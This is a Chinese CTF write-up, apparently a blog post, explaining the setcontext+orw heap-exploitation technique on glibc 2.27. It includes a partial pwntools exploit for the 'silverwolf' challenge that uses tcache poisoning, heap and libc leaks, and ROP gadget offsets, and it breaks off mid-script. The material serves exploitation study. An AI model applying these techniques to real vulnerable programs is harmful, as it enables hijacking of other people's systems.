Python微信订餐小程序课程视频
https://edu.csdn.net/course/detail/36074
Python实战量化交易理财系统
https://edu.csdn.net/course/detail/35475
setcontext+orw 大致可以把2.27,2.29做为两个分界点。
我们先来讨论 2.27 及以下的 setcontext + orw 的写法。
首先 setcontext 是什么?了解过 SROP 的师傅应该知道 pwntools 自带了一款可以控制寄存器值的工具。模板如下:
frame = SigreturnFrame()
frame.rsp = xxx
frame.rdi = xxx
frame.rsi = xxx
frame.rdx = xxx
frame.rip = xxx
它实质上就是依靠 setcontext 来实现的,我们从 IDA 里看看它究竟啥样。
我们可以很清楚地看出它的作用是通过 rdi 寄存器里的地址附近的地址里的值来给设置各个寄存器的值。glibc2.27 我们通常从 setcontext + 53 开始使用,也就是 mov rsp, [rdi+0A0h] 那一行,在阅读其他师傅的文章后知道是因为上面的 fldenv byte pte [rcx] 会造成程序执行时直接 crash。从 setcontext + 53 开始我们可以看到我们会给各个寄存器赋值。值得注意的是,mov rcx, [rdi+0A8h] 和 push rcx 实质上是在给我们的 rip 进行赋值。而众多寄存器唯一不可控制的是 rax寄存器,因为不仅没给 rax 赋值还在最后有一个 xor eax,eax 。但这也意味着我们一定可以把 rax 设置成 0 。大部分题目中通过控制 rsp 和 rip 就可以很好地解决堆题不方便直接控制程序的执行流的问题。我们通常是吧 setcontext + 53 写进 __free_hook 或者 __malloc_hook 中,然后建立或者释放一个堆块,此时的 rdi 就会是该堆块的 chunk 头,那如果我们提前布局好堆,就意味着我们可以控制寄存器并劫持程序的执行流。
大体上思路差不多是两种(此处仅讨论 orw),第一种是直接控制程序执行流去执行ROP链,另一种是先用 mprotect 函数开辟一段可读可写可执行的空间再跳到上面去执行 shellcode。个人是比较喜欢直接执行 ROP 链的方法。
拿一个国赛的题 silverwolf 来加深 2.27 setcontext+orw
from pwn import *
context.arch = 'amd64'
context.log\_level = 'debug'
s = process('./silverwolf')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.4\_amd64/libc-2.27.so')
def add(size):
s.sendlineafter(b'Your choice: ', b'1')
s.sendlineafter(b'Index: ', b'0')
s.sendlineafter(b'Size: ', str(size))
def edit(content):
s.sendlineafter(b'Your choice: ', b'2')
s.sendlineafter(b'Index: ', b'0')
s.sendlineafter(b'Content: ', content)
def show():
s.sendlineafter(b'Your choice: ', b'3')
s.sendlineafter(b'Index: ', b'0')
def delete():
s.sendlineafter(b'Your choice: ', b'4')
s.sendlineafter(b'Index: ',b'0')
for i in range(7):
add(0x78)
delete()
edit(b'a'*0x10)
delete()
show()
s.recvuntil(b'Content: ')
heap\_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
success('heap\_base=>' + hex(heap\_base))
add(0x78)
edit(p64(heap\_base + 0x10))
add(0x78)
add(0x78)
edit(b'\x00'*0x23 + b'\x07')
delete()
show()
libc\_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['\_\_malloc\_hook']
success('libc\_base=>' + hex(libc\_base))
pop\_rdi\_ret = libc\_base + 0x00000000000215bf
pop\_rsi\_r15\_ret = libc\_base + 0x00000000000215bd
pop\_rdx\_ret = libc\_base + 0x0000000000001b96
pop\_rax\_ret = libc\_base + 0x0000000000043ae